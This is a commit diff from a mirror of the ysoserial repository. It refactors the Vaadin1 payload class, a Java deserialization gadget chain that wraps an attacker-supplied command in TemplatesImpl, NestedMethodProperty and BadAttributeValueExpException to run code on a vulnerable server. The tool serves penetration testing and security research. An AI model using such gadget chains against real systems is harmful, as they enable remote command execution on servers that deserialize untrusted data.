mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-27 01:11:53 +08:00
Changed from TemplatesImpl to Object
This commit is contained in:
@@ -2,8 +2,6 @@ package ysoserial.payloads;
|
|||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
|
|
||||||
import org.apache.xalan.xsltc.trax.TemplatesImpl;
|
|
||||||
|
|
||||||
import com.vaadin.data.util.NestedMethodProperty;
|
import com.vaadin.data.util.NestedMethodProperty;
|
||||||
import com.vaadin.data.util.PropertysetItem;
|
import com.vaadin.data.util.PropertysetItem;
|
||||||
|
|
||||||
@@ -58,10 +56,10 @@ public class Vaadin1 implements ObjectPayload<Object>
|
|||||||
@Override
|
@Override
|
||||||
public Object getObject (String command) throws Exception
|
public Object getObject (String command) throws Exception
|
||||||
{
|
{
|
||||||
TemplatesImpl templ = (TemplatesImpl) Gadgets.createTemplatesImpl (command);
|
Object templ = Gadgets.createTemplatesImpl (command);
|
||||||
PropertysetItem pItem = new PropertysetItem ();
|
PropertysetItem pItem = new PropertysetItem ();
|
||||||
|
|
||||||
NestedMethodProperty<TemplatesImpl> nmprop = new NestedMethodProperty<TemplatesImpl> (templ, "outputProperties");
|
NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, "outputProperties");
|
||||||
pItem.addItemProperty ("outputProperties", nmprop);
|
pItem.addItemProperty ("outputProperties", nmprop);
|
||||||
|
|
||||||
BadAttributeValueExpException b = new BadAttributeValueExpException ("");
|
BadAttributeValueExpException b = new BadAttributeValueExpException ("");
|
||||||
|
|||||||
Reference in New Issue
Block a user